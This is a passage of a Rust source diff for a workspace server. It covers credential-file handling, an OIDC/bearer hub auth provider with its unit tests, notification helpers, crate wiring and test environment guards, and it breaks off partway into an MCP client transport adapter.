fn write_json_atomic(path: &Path, value: &serde_json::Value) -> anyhow::Result<()> {
|
||||
use std::io::Write;
|
||||
|
||||
let json = serde_json::to_string_pretty(value)?;
|
||||
let tmp = path.with_extension(format!("json.{}.tmp", std::process::id()));
|
||||
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
#[cfg(unix)]
|
||||
{
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
opts.mode(0o600);
|
||||
}
|
||||
|
||||
let mut file = opts
|
||||
.open(&tmp)
|
||||
.map_err(|e| anyhow::anyhow!("failed to open {}: {e}", tmp.display()))?;
|
||||
file.write_all(json.as_bytes())?;
|
||||
file.sync_all()?;
|
||||
drop(file);
|
||||
|
||||
#[cfg(windows)]
|
||||
let _ = std::fs::remove_file(path);
|
||||
|
||||
if let Err(e) = std::fs::rename(&tmp, path) {
|
||||
let _ = std::fs::remove_file(&tmp);
|
||||
return Err(anyhow::anyhow!("failed to replace {}: {e}", path.display()));
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Build a hub auth provider for `hub_url`. `auth_config` overrides
|
||||
/// the default credential path (`~/.kigi/auth.json`).
|
||||
pub fn provider(
|
||||
hub_url: &Url,
|
||||
auth_config: Option<&Path>,
|
||||
) -> anyhow::Result<Arc<dyn AuthProvider>> {
|
||||
let auth_path = match auth_config {
|
||||
Some(p) => p.to_path_buf(),
|
||||
None => default_auth_path()?,
|
||||
};
|
||||
let (scope_key, entry) = read_auth_entry(&auth_path)?;
|
||||
|
||||
let is_loopback = hub_url.scheme() == "ws"
|
||||
&& matches!(hub_url.host_str(), Some("localhost" | "127.0.0.1" | "::1"));
|
||||
|
||||
if is_loopback {
|
||||
tracing::info!("Using local-dev auth (loopback hub)");
|
||||
Ok(Arc::new(BearerWithIdentity {
|
||||
identity: identity_from_entry(&entry),
|
||||
token: entry.key.clone(),
|
||||
}))
|
||||
} else {
|
||||
build_oidc_provider(scope_key, &entry, auth_path)
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use std::io::Write;
|
||||
|
||||
fn write_auth_json(dir: &std::path::Path, json: &str) -> PathBuf {
|
||||
let path = dir.join("auth.json");
|
||||
let mut f = std::fs::File::create(&path).unwrap();
|
||||
f.write_all(json.as_bytes()).unwrap();
|
||||
path
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn read_auth_entry_picks_oidc_entry() {
|
||||
let dir = tempfile::tempdir().unwrap();
|
||||
let path = write_auth_json(
|
||||
dir.path(),
|
||||
r#"{
|
||||
"legacy": { "key": "xai-plainkey", "user_id": "u1" },
|
||||
"oidc": {
|
||||
"key": "eyJhbGciOiJFUzI1NiJ9.test",
|
||||
"user_id": "u2",
|
||||
"refresh_token": "rt",
|
||||
"oidc_issuer": "https://auth.example.com",
|
||||
"oidc_client_id": "client1"
|
||||
}
|
||||
}"#,
|
||||
);
|
||||
|
||||
let (key, entry) = read_auth_entry(&path).unwrap();
|
||||
assert_eq!(key, "oidc");
|
||||
assert_eq!(entry.refresh_token.as_deref(), Some("rt"));
|
||||
assert_eq!(
|
||||
entry.oidc_issuer.as_deref(),
|
||||
Some("https://auth.example.com")
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn read_auth_entry_rejects_non_oidc() {
|
||||
let dir = tempfile::tempdir().unwrap();
|
||||
let path = write_auth_json(
|
||||
dir.path(),
|
||||
r#"{
|
||||
"api_key": { "key": "xai-plainkey", "user_id": "u1" }
|
||||
}"#,
|
||||
);
|
||||
|
||||
let err = read_auth_entry(&path).unwrap_err();
|
||||
assert!(err.to_string().contains("no OIDC auth entry"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn read_auth_entry_missing_file() {
|
||||
let path = PathBuf::from("/nonexistent/auth.json");
|
||||
let err = read_auth_entry(&path).unwrap_err();
|
||||
assert!(err.to_string().contains("No auth credentials"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn read_auth_entry_tolerates_extra_fields() {
|
||||
let dir = tempfile::tempdir().unwrap();
|
||||
let path = write_auth_json(
|
||||
dir.path(),
|
||||
r#"{
|
||||
"scope": {
|
||||
"key": "eyJhbGciOiJFUzI1NiJ9.tok",
|
||||
"user_id": "u1",
|
||||
"auth_mode": "oidc",
|
||||
"create_time": "2026-01-01T00:00:00Z",
|
||||
"email": "test@x.ai",
|
||||
"first_name": "Test",
|
||||
"refresh_token": "rt1",
|
||||
"oidc_issuer": "https://auth.x.ai",
|
||||
"oidc_client_id": "c1",
|
||||
"some_future_field": true
|
||||
}
|
||||
}"#,
|
||||
);
|
||||
|
||||
let (_key, entry) = read_auth_entry(&path).unwrap();
|
||||
assert_eq!(entry.refresh_token.as_deref(), Some("rt1"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn build_oidc_provider_requires_refresh_token() {
|
||||
let entry = AuthEntry {
|
||||
key: "eyJ.tok".into(),
|
||||
user_id: "u1".into(),
|
||||
refresh_token: None,
|
||||
oidc_issuer: Some("https://auth.x.ai".into()),
|
||||
oidc_client_id: Some("c1".into()),
|
||||
principal_type: None,
|
||||
principal_id: None,
|
||||
expires_at: None,
|
||||
};
|
||||
let err = build_oidc_provider("oidc".into(), &entry, PathBuf::from("/tmp/x")).unwrap_err();
|
||||
assert!(err.to_string().contains("refresh_token"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn build_oidc_provider_requires_issuer() {
|
||||
let entry = AuthEntry {
|
||||
key: "eyJ.tok".into(),
|
||||
user_id: "u1".into(),
|
||||
refresh_token: Some("rt".into()),
|
||||
oidc_issuer: None,
|
||||
oidc_client_id: Some("c1".into()),
|
||||
principal_type: None,
|
||||
principal_id: None,
|
||||
expires_at: None,
|
||||
};
|
||||
let err = build_oidc_provider("oidc".into(), &entry, PathBuf::from("/tmp/x")).unwrap_err();
|
||||
assert!(err.to_string().contains("oidc_issuer"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn build_oidc_provider_requires_client_id() {
|
||||
let entry = AuthEntry {
|
||||
key: "eyJ.tok".into(),
|
||||
user_id: "u1".into(),
|
||||
refresh_token: Some("rt".into()),
|
||||
oidc_issuer: Some("https://auth.x.ai".into()),
|
||||
oidc_client_id: None,
|
||||
principal_type: None,
|
||||
principal_id: None,
|
||||
expires_at: None,
|
||||
};
|
||||
let err = build_oidc_provider("oidc".into(), &entry, PathBuf::from("/tmp/x")).unwrap_err();
|
||||
assert!(err.to_string().contains("oidc_client_id"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn build_oidc_provider_succeeds_with_all_fields() {
|
||||
let entry = AuthEntry {
|
||||
key: "eyJ.tok".into(),
|
||||
user_id: "u1".into(),
|
||||
refresh_token: Some("rt".into()),
|
||||
oidc_issuer: Some("https://auth.x.ai".into()),
|
||||
oidc_client_id: Some("c1".into()),
|
||||
principal_type: Some("Team".into()),
|
||||
principal_id: Some("t1".into()),
|
||||
expires_at: Some(chrono::Utc::now() + chrono::Duration::hours(1)),
|
||||
};
|
||||
let provider = build_oidc_provider("oidc".into(), &entry, PathBuf::from("/tmp/x")).unwrap();
|
||||
let cred = provider.current();
|
||||
match cred {
|
||||
kigi_computer_hub_sdk::AuthCredential::Bearer { token } => {
|
||||
assert_eq!(token, "eyJ.tok");
|
||||
}
|
||||
_ => panic!("expected Bearer"),
|
||||
}
|
||||
// Identity is surfaced from the parsed entry (no second auth.json read).
|
||||
let id = provider.identity().expect("identity present");
|
||||
assert_eq!(id.user_id, "u1");
|
||||
assert_eq!(id.principal_type.as_deref(), Some("Team"));
|
||||
assert_eq!(id.principal_id.as_deref(), Some("t1"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn write_refreshed_token_updates_jwt_entry() {
|
||||
let dir = tempfile::tempdir().unwrap();
|
||||
let path = write_auth_json(
|
||||
dir.path(),
|
||||
r#"{
|
||||
"legacy": { "key": "xai-old", "user_id": "u1" },
|
||||
"oidc": { "key": "eyJ.old", "user_id": "u2", "refresh_token": "rt-old", "oidc_issuer": "https://auth.x.ai" }
|
||||
}"#,
|
||||
);
|
||||
|
||||
let event = RefreshEvent {
|
||||
access_token: "eyJ.new".into(),
|
||||
new_refresh_token: Some("rt-new".into()),
|
||||
expires_at: None,
|
||||
};
|
||||
write_refreshed_token(&path, "oidc", &event).unwrap();
|
||||
|
||||
let updated: serde_json::Value =
|
||||
serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
|
||||
assert_eq!(updated["oidc"]["key"], "eyJ.new");
|
||||
assert_eq!(updated["oidc"]["refresh_token"], "rt-new");
|
||||
assert_eq!(updated["legacy"]["key"], "xai-old"); // untouched
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn write_refreshed_token_targets_exact_scope_key() {
|
||||
// Non-sorted order: refresh must update the read-selected key ("aaa"),
|
||||
// not the first in file order ("zzz").
|
||||
let dir = tempfile::tempdir().unwrap();
|
||||
let path = write_auth_json(
|
||||
dir.path(),
|
||||
r#"{
|
||||
"zzz": { "key": "eyJ.z", "refresh_token": "rt-z", "oidc_issuer": "https://auth.x.ai" },
|
||||
"aaa": { "key": "eyJ.a", "refresh_token": "rt-a", "oidc_issuer": "https://auth.x.ai" }
|
||||
}"#,
|
||||
);
|
||||
|
||||
let (key, _entry) = read_auth_entry(&path).unwrap();
|
||||
assert_eq!(key, "aaa");
|
||||
|
||||
let event = RefreshEvent {
|
||||
access_token: "eyJ.a-new".into(),
|
||||
new_refresh_token: Some("rt-a-new".into()),
|
||||
expires_at: None,
|
||||
};
|
||||
write_refreshed_token(&path, &key, &event).unwrap();
|
||||
|
||||
let updated: serde_json::Value =
|
||||
serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
|
||||
assert_eq!(updated["aaa"]["key"], "eyJ.a-new");
|
||||
assert_eq!(updated["aaa"]["refresh_token"], "rt-a-new");
|
||||
assert_eq!(updated["zzz"]["key"], "eyJ.z");
|
||||
assert_eq!(updated["zzz"]["refresh_token"], "rt-z");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn write_refreshed_token_preserves_existing_rt_when_not_rotated() {
|
||||
let dir = tempfile::tempdir().unwrap();
|
||||
let path = write_auth_json(
|
||||
dir.path(),
|
||||
r#"{
|
||||
"oidc": { "key": "eyJ.old", "user_id": "u1", "refresh_token": "rt-keep", "oidc_issuer": "https://auth.x.ai" }
|
||||
}"#,
|
||||
);
|
||||
|
||||
let event = RefreshEvent {
|
||||
access_token: "eyJ.new".into(),
|
||||
new_refresh_token: None,
|
||||
expires_at: None,
|
||||
};
|
||||
write_refreshed_token(&path, "oidc", &event).unwrap();
|
||||
|
||||
let updated: serde_json::Value =
|
||||
serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
|
||||
assert_eq!(updated["oidc"]["key"], "eyJ.new");
|
||||
assert_eq!(updated["oidc"]["refresh_token"], "rt-keep");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn provider_loopback_uses_bearer() {
|
||||
let dir = tempfile::tempdir().unwrap();
|
||||
let path = write_auth_json(
|
||||
dir.path(),
|
||||
r#"{ "oidc": { "key": "eyJ.tok", "user_id": "u1", "refresh_token": "rt", "oidc_issuer": "https://auth.x.ai", "oidc_client_id": "c1" } }"#,
|
||||
);
|
||||
let url = Url::parse("ws://localhost:9988/v1/tools").unwrap();
|
||||
let auth = provider(&url, Some(&path)).unwrap();
|
||||
match auth.current() {
|
||||
AuthCredential::Bearer { token } => assert_eq!(token, "eyJ.tok"),
|
||||
_ => panic!("expected Bearer"),
|
||||
}
|
||||
// Loopback still surfaces identity from the same entry.
|
||||
let id = auth.identity().expect("loopback identity present");
|
||||
assert_eq!(id.user_id, "u1");
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,127 @@
|
||||
//! Server-proxied workspace utilities.
|
||||
//!
|
||||
//! Helper functions for consuming server tool streams and extracting typed
|
||||
//! notifications from server notification frames. These are used by both
|
||||
//! the workspace crate (hub_server) and the shell crate (proxy-mode
|
||||
//! session actors) to interact with the server.
|
||||
//!
|
||||
//! The `HubWorkspaceChannel` struct that previously lived here has been
|
||||
//! removed. Sessions now call the server harness directly via `ToolContext`.
|
||||
|
||||
use kigi_tools::notification::types::ToolNotification;
|
||||
use kigi_workspace_types::WorkspaceEvent;
|
||||
|
||||
pub use crate::hub_ids::WORKSPACE_RPC_TOOL_ID;
|
||||
// Canonical in the client crate; re-exported for existing importers.
|
||||
pub use kigi_workspace_client::consume_stream_terminal;
|
||||
|
||||
/// Extract a `WorkspaceEvent` from a custom `ToolNotificationFrame`.
|
||||
pub fn extract_workspace_event(
|
||||
frame: &kigi_tool_protocol::ToolNotificationFrame,
|
||||
) -> Option<WorkspaceEvent> {
|
||||
use kigi_tool_protocol::WireToolNotification;
|
||||
match &frame.notification {
|
||||
WireToolNotification::Custom(c) => serde_json::from_value(c.payload.clone()).ok(),
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Extract a `ToolNotification` from a custom `ToolNotificationFrame`.
|
||||
///
|
||||
/// Currently has no producer; kept for a future per-session `tool.notify` path.
|
||||
pub fn extract_tool_notification(
|
||||
frame: &kigi_tool_protocol::ToolNotificationFrame,
|
||||
) -> Option<ToolNotification> {
|
||||
use kigi_tool_protocol::WireToolNotification;
|
||||
match &frame.notification {
|
||||
WireToolNotification::Custom(c) => {
|
||||
serde_json::from_value::<ToolNotification>(c.payload.clone()).ok()
|
||||
}
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Tests
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use kigi_tool_protocol::{ToolId, ToolNotificationFrame, WireToolNotification};
|
||||
|
||||
#[test]
|
||||
fn extract_workspace_event_custom_valid() {
|
||||
let event = WorkspaceEvent::ToolsChanged {
|
||||
session_id: "main".into(),
|
||||
};
|
||||
let payload = serde_json::to_value(&event).unwrap();
|
||||
let frame = ToolNotificationFrame::custom(
|
||||
ToolId::new("workspace_events").unwrap(),
|
||||
"workspace_event",
|
||||
payload,
|
||||
);
|
||||
let result = extract_workspace_event(&frame);
|
||||
assert!(result.is_some(), "should parse valid WorkspaceEvent");
|
||||
match result.unwrap() {
|
||||
WorkspaceEvent::ToolsChanged { session_id } => {
|
||||
assert_eq!(session_id, "main");
|
||||
}
|
||||
other => panic!("expected ToolsChanged, got {other:?}"),
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn extract_workspace_event_invalid_payload() {
|
||||
let frame = ToolNotificationFrame::custom(
|
||||
ToolId::new("workspace_events").unwrap(),
|
||||
"workspace_event",
|
||||
serde_json::json!({"not_a_valid_event": true}),
|
||||
);
|
||||
assert!(
|
||||
extract_workspace_event(&frame).is_none(),
|
||||
"invalid payload should return None"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn extract_workspace_event_known_variant_returns_none() {
|
||||
let frame = ToolNotificationFrame {
|
||||
tool_call_id: None,
|
||||
tool_id: Some(ToolId::new("workspace_events").unwrap()),
|
||||
notification: WireToolNotification::Known(serde_json::json!({})),
|
||||
};
|
||||
assert!(
|
||||
extract_workspace_event(&frame).is_none(),
|
||||
"Known variant should return None"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn extract_tool_notification_invalid_payload() {
|
||||
let frame = ToolNotificationFrame::custom(
|
||||
ToolId::new("workspace_tool_notifications").unwrap(),
|
||||
"tool_notification",
|
||||
serde_json::json!({"not_a_notification": true}),
|
||||
);
|
||||
assert!(
|
||||
extract_tool_notification(&frame).is_none(),
|
||||
"invalid payload should return None"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn extract_tool_notification_known_variant_returns_none() {
|
||||
let frame = ToolNotificationFrame {
|
||||
tool_call_id: None,
|
||||
tool_id: Some(ToolId::new("workspace_tool_notifications").unwrap()),
|
||||
notification: WireToolNotification::Known(serde_json::json!({})),
|
||||
};
|
||||
assert!(
|
||||
extract_tool_notification(&frame).is_none(),
|
||||
"Known variant should return None"
|
||||
);
|
||||
}
|
||||
|
||||
// consume_stream_terminal tests live in kigi-workspace-client.
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
//! Hub tool ID constants, canonical in `kigi_workspace_types::rpc`
|
||||
//! and re-exported here for existing importers.
|
||||
//!
|
||||
//! `WORKSPACE_TOOL_NOTIFICATIONS_TOOL_ID` is intentionally producer-less today;
|
||||
//! see [`crate::hub_channel::extract_tool_notification`].
|
||||
|
||||
pub use kigi_workspace_types::rpc::{
|
||||
WORKSPACE_CLIENT_EXT_NOTIFICATIONS_TOOL_ID, WORKSPACE_EVENTS_TOOL_ID, WORKSPACE_RPC_TOOL_ID,
|
||||
WORKSPACE_TOOL_NOTIFICATIONS_TOOL_ID,
|
||||
};
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,188 @@
|
||||
#![allow(
|
||||
unused_imports,
|
||||
unused_variables,
|
||||
unused_mut,
|
||||
unreachable_code,
|
||||
dead_code
|
||||
)]
|
||||
//! Core workspace library: FS, VCS, permissions, tool config, and subsystem wiring.
|
||||
pub mod activity;
|
||||
pub mod capability;
|
||||
pub mod channel;
|
||||
pub mod config;
|
||||
pub mod daemonize;
|
||||
pub mod diag_server;
|
||||
pub mod discovery;
|
||||
pub mod envrc;
|
||||
pub mod error;
|
||||
pub mod file_system;
|
||||
pub mod folder_trust;
|
||||
pub mod foreign_sessions;
|
||||
pub mod fs_notify;
|
||||
pub mod handle;
|
||||
pub mod hub;
|
||||
pub mod hub_auth;
|
||||
pub mod hub_channel;
|
||||
pub mod hub_ids;
|
||||
pub mod hub_server;
|
||||
pub mod mcp;
|
||||
pub mod permission;
|
||||
pub mod preview_supervisor;
|
||||
pub mod project_config;
|
||||
pub mod recovery;
|
||||
pub mod rpc_envelope;
|
||||
pub mod session;
|
||||
pub mod status_config;
|
||||
pub use status_config::StatusConfig;
|
||||
pub mod trust;
|
||||
pub mod util;
|
||||
pub mod workspace_ops;
|
||||
pub mod worktree;
|
||||
pub use capability::CapabilityMode;
|
||||
pub use channel::{TransportCallResult, TransportContext, TransportError, TransportNotification};
|
||||
pub use config::{
|
||||
AgentSessionConfig, DEFAULT_EVENT_BUFFER_CAPACITY, HookSourceConfig, IsolationMode,
|
||||
MemoryConfig, SessionContextFactory, SessionTerminalBackend, WorkspaceConfig,
|
||||
};
|
||||
pub use error::{WorkspaceError, WorkspaceResult};
|
||||
pub use file_system::*;
|
||||
pub use handle::{
|
||||
DrainOutcome, DrainReason, WorkspaceHandle, connect_local_workspace, resolve_workspace_home,
|
||||
termination_grace_from_env,
|
||||
};
|
||||
pub use hub::HubConfig;
|
||||
pub use kigi_hunk_tracker::HunkTrackerHandle;
|
||||
pub use kigi_workspace_client::WorkspaceClient;
|
||||
pub use kigi_workspace_types::WorkspaceEvent;
|
||||
pub use permission::*;
|
||||
pub use session::{WorkspaceSession, WorkspaceShared};
|
||||
pub use session::{file_state, git, jj};
|
||||
pub use workspace_ops::{WorkspaceOp, WorkspaceOps};
|
||||
/// Zero-init every workspace metric family so idle panels render a `0` baseline
|
||||
/// instead of "No data". Idempotent; call once at workspace-server startup.
|
||||
pub fn init_metrics() {
|
||||
handle::init_metrics();
|
||||
session::swap_policy::init_metrics();
|
||||
permission::init_metrics();
|
||||
hub_server::init_metrics();
|
||||
}
|
||||
/// Crate-wide lock serializing every test that mutates the process-global
|
||||
/// environment (`KIGI_SHARE_DIR`, `HOME`, …). nextest isolates each test in its own
|
||||
/// process, but `cargo test --lib` shares ONE process across threads, so
|
||||
/// per-module locks don't serialize cross-module — a peer test in another module
|
||||
/// can clobber `KIGI_SHARE_DIR` mid-test. A single shared lock (used by every
|
||||
/// env-mutating test module) is required for that single-process run to be
|
||||
/// race-free.
|
||||
#[cfg(test)]
|
||||
pub(crate) static ENV_TEST_LOCK: std::sync::Mutex<()> = std::sync::Mutex::new(());
|
||||
/// Crate-shared RAII guard for a single process env var in tests: sets (or
|
||||
/// unsets) it on construction and restores the prior value on drop. The ONE
|
||||
/// generic env-var guard for the whole crate (replaces the per-module copies).
|
||||
///
|
||||
/// Hold it together with [`ENV_TEST_LOCK`] for the test's lifetime, acquiring
|
||||
/// the lock FIRST so it drops LAST — the env restore (this guard) then runs
|
||||
/// before the lock releases, so no peer test observes the temporary value.
|
||||
#[cfg(test)]
|
||||
pub(crate) struct TestEnvGuard {
|
||||
key: &'static str,
|
||||
prev: Option<std::ffi::OsString>,
|
||||
}
|
||||
#[cfg(test)]
|
||||
impl TestEnvGuard {
|
||||
/// Set `key` to `val`, restoring the prior value on drop.
|
||||
pub(crate) fn set(key: &'static str, val: &std::path::Path) -> Self {
|
||||
let prev = std::env::var_os(key);
|
||||
unsafe { std::env::set_var(key, val) };
|
||||
Self { key, prev }
|
||||
}
|
||||
/// Unset `key`, restoring the prior value on drop.
|
||||
pub(crate) fn unset(key: &'static str) -> Self {
|
||||
let prev = std::env::var_os(key);
|
||||
unsafe { std::env::remove_var(key) };
|
||||
Self { key, prev }
|
||||
}
|
||||
}
|
||||
#[cfg(test)]
|
||||
impl Drop for TestEnvGuard {
|
||||
fn drop(&mut self) {
|
||||
match self.prev.take() {
|
||||
Some(prev) => unsafe { std::env::set_var(self.key, prev) },
|
||||
None => unsafe { std::env::remove_var(self.key) },
|
||||
}
|
||||
}
|
||||
}
|
||||
/// Holds [`ENV_TEST_LOCK`] AND a set of [`TestEnvGuard`]s as ONE value, so a
|
||||
/// test (or fixture) can return/bind it however it likes and still be correct.
|
||||
///
|
||||
/// Struct fields drop in DECLARATION order, so `_env` (declared first) restores
|
||||
/// every env var BEFORE `_lock` (declared last) releases the lock — making the
|
||||
/// "restore before unlock" invariant compile-enforced, not convention-dependent
|
||||
/// (a single `let _ = LockedTestEnv::lock()…;` binding can't reorder it).
|
||||
///
|
||||
/// Acquire the lock first via [`lock`](Self::lock), then mutate env under it with
|
||||
/// the chained [`set`](Self::set) builder.
|
||||
#[cfg(test)]
|
||||
pub(crate) struct LockedTestEnv {
|
||||
_env: Vec<TestEnvGuard>,
|
||||
_lock: std::sync::MutexGuard<'static, ()>,
|
||||
}
|
||||
#[cfg(test)]
|
||||
impl LockedTestEnv {
|
||||
/// Acquire [`ENV_TEST_LOCK`] (held until this value drops).
|
||||
pub(crate) fn lock() -> Self {
|
||||
Self {
|
||||
_env: Vec::new(),
|
||||
_lock: ENV_TEST_LOCK.lock().unwrap_or_else(|e| e.into_inner()),
|
||||
}
|
||||
}
|
||||
/// Set `key` to `val` under the held lock, restoring the prior value on drop.
|
||||
///
|
||||
/// Intended for DISTINCT keys; the restore order across repeated `set`s of
|
||||
/// the SAME key is unspecified (guards restore in insertion order).
|
||||
pub(crate) fn set(mut self, key: &'static str, val: &std::path::Path) -> Self {
|
||||
self._env.push(TestEnvGuard::set(key, val));
|
||||
self
|
||||
}
|
||||
}
|
||||
#[cfg(test)]
|
||||
mod init_metrics_tests {
|
||||
/// `init_metrics()` is idempotent (a double call must not panic on
|
||||
/// re-register) and populates a `0` baseline series for each family so
|
||||
/// panels render `0` instead of "No data".
|
||||
#[test]
|
||||
fn init_metrics_is_idempotent_and_registers_baselines() {
|
||||
super::init_metrics();
|
||||
super::init_metrics();
|
||||
let families = prometheus::gather();
|
||||
let has = |name: &str, want: &[(&str, &str)]| {
|
||||
families
|
||||
.iter()
|
||||
.filter(|mf| mf.name() == name)
|
||||
.flat_map(|mf| mf.get_metric())
|
||||
.any(|m| {
|
||||
want.iter().all(|(k, v)| {
|
||||
m.get_label()
|
||||
.iter()
|
||||
.any(|l| l.name() == *k && l.value() == *v)
|
||||
})
|
||||
})
|
||||
};
|
||||
assert!(has(
|
||||
"grok_workspace_rpc_requests_total",
|
||||
&[("method", "unknown"), ("result", "error")]
|
||||
));
|
||||
assert!(has(
|
||||
"grok_workspace_drain_started_total",
|
||||
&[("reason", "sigterm")]
|
||||
));
|
||||
assert!(has(
|
||||
"grok_workspace_toolset_swap_rejected_total",
|
||||
&[("reason", "turn_active"), ("trigger", "update_tool_config")]
|
||||
));
|
||||
assert!(
|
||||
families
|
||||
.iter()
|
||||
.any(|mf| mf.name() == "grok_workspace_permission_timeout_total")
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,220 @@
|
||||
//! MCP integration for the workspace server.
|
||||
//!
|
||||
//! Bridges [`McpClient`] to the server's [`McpTransport`] trait and wraps
|
||||
//! tool handlers with qualified `server__tool` names.
|
||||
|
||||
use std::sync::Arc;
|
||||
|
||||
use async_trait::async_trait;
|
||||
use kigi_computer_hub_mcp_adapter::{
|
||||
McpBridgeConfig, McpCallResult, McpContent, McpServerInfo, McpToolDefinition, McpToolHandler,
|
||||
McpTransport,
|
||||
};
|
||||
use kigi_computer_hub_sdk::ToolServerHandler;
|
||||
use kigi_mcp::rmcp;
|
||||
use kigi_mcp::servers::McpClient;
|
||||
use kigi_tool_protocol::ToolId;
|
||||
use kigi_tool_runtime::{ToolCallContext, ToolStream, TypedToolOutput};
|
||||
use kigi_tool_types::ToolDescription;
|
||||
use serde_json::Value;
|
||||
|
||||
/// Adapts [`McpClient`] to the [`McpTransport`] trait for [`McpBridge`].
|
||||
pub(crate) struct McpClientTransportAdapter {
|
||||
client: Arc<McpClient>,
|
||||
}
|
||||
|
||||
impl McpClientTransportAdapter {
|
||||
pub fn new(client: Arc<McpClient>) -> Self {
|
||||
Self { client }
|
||||
}
|
||||
}
|
||||
|
||||
#[async_trait]
|
||||
impl McpTransport for McpClientTransportAdapter {
|
||||
async fn initialize(&self) -> Result<McpServerInfo, kigi_computer_hub_mcp_adapter::McpError> {
|
||||
let service = self
|
||||
.client
|
||||
.ensure_initialized()
|
||||
.await
|
||||
.map_err(|e| kigi_computer_hub_mcp_adapter::McpError::Transport(e.to_string()))?;
|
||||
let info = service.peer_info().ok_or_else(|| {
|
||||
kigi_computer_hub_mcp_adapter::McpError::Transport("no peer info after init".into())
|
||||
})?;
|
||||
Ok(McpServerInfo {
|
||||
name: info.server_info.name.clone(),
|
||||
version: info.server_info.version.clone(),
|
||||
capabilities: serde_json::to_value(&info.capabilities).unwrap_or_default(),
|
||||
})
|
||||
}
|
||||
|
||||
async fn list_tools(
|
||||
&self,
|
||||
) -> Result<Vec<McpToolDefinition>, kigi_computer_hub_mcp_adapter::McpError> {
|
||||
let service = self
|
||||
.client
|
||||
.ensure_initialized()
|
||||
.await
|
||||
.map_err(|e| kigi_computer_hub_mcp_adapter::McpError::Transport(e.to_string()))?;
|
||||
|
||||
let mut all_tools = Vec::new();
|
||||
let mut cursor: Option<String> = None;
|
||||
loop {
|
||||
let result = service
|
||||
.list_tools(Some(
|
||||
rmcp::model::PaginatedRequestParams::default().with_cursor(cursor.clone()),
|
||||
))
|
||||
.await
|
||||
.map_err(|e| kigi_computer_hub_mcp_adapter::McpError::Transport(e.to_string()))?;
|
||||
|
||||
all_tools.extend(result.tools.into_iter().map(|t| McpToolDefinition {
|
||||
name: t.name.to_string(),
|
||||
description: t.description.map(|d| d.to_string()),
|
||||
input_schema: serde_json::to_value(&t.input_schema).ok(),
|
||||
}));
|
||||
|
||||
match result.next_cursor {
|
||||
Some(next) => cursor = Some(next),
|
||||
None => break,
|
||||
}
|
||||
}
|
||||
|
||||
Ok(all_tools)
|
||||
}
|
||||
|
||||
async fn call_tool(
|
||||
&self,
|
||||
name: &str,
|
||||
arguments: Value,
|
||||
) -> Result<McpCallResult, kigi_computer_hub_mcp_adapter::McpError> {
|
||||
let service = self
|
||||
.client
|
||||
.ensure_initialized()
|
||||
.await
|
||||
.map_err(|e| kigi_computer_hub_mcp_adapter::McpError::Transport(e.to_string()))?;
|
||||
// MCP spec requires arguments to be an object; coerce if needed.
|
||||
let args_object = match arguments {
|
||||
Value::Object(map) => Some(map),
|
||||
Value::Null => None,
|
||||
other => {
|
||||
let mut wrapper = serde_json::Map::new();
|
||||
wrapper.insert("value".to_string(), other);
|
||||
Some(wrapper)
|
||||
}
|
||||
};
|
||||
let result = service
|
||||
.call_tool({
|
||||
let mut params = rmcp::model::CallToolRequestParams::new(name.to_string());
|
||||
params.arguments = args_object;
|
||||
params
|
||||
})
|
||||
.await
|
||||
.map_err(|e| kigi_computer_hub_mcp_adapter::McpError::Transport(e.to_string()))?;
|
||||
|
||||
Ok(McpCallResult {
|
||||
content: result
|
||||
.content
|
||||
.into_iter()
|
||||
.map(|c| match c {
|
||||
rmcp::model::ContentBlock::Text(t) => McpContent::Text { text: t.text },
|
||||
rmcp::model::ContentBlock::Image(img) => McpContent::Image {
|
||||
mime_type: img.mime_type,
|
||||
data: img.data,
|
||||
},
|
||||
_ => McpContent::Text {
|
||||
text: "[unsupported content type]".to_string(),
|
||||
},
|
||||
})
|
||||
.collect(),
|
||||
is_error: result.is_error.unwrap_or(false),
|
||||
})
|
||||
}
|
||||
|
||||
async fn close(&self) -> Result<(), kigi_computer_hub_mcp_adapter::McpError> {
|
||||
// No-op: cleanup happens when McpClient is dropped.
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
/// Wraps an [`McpToolHandler`] to qualify tool names as `server__tool`.
|
||||
pub(crate) struct QualifiedMcpToolHandler {
|
||||
qualified_id: ToolId,
|
||||
qualified_name: String,
|
||||
inner: Arc<McpToolHandler>,
|
||||
}
|
||||
|
||||
impl QualifiedMcpToolHandler {
|
||||
/// Returns `None` if the qualified name is not a valid `ToolId`.
|
||||
pub fn try_new(qualified_name: String, inner: Arc<McpToolHandler>) -> Option<Self> {
|
||||
let qualified_id = match ToolId::new(&qualified_name) {
|
||||
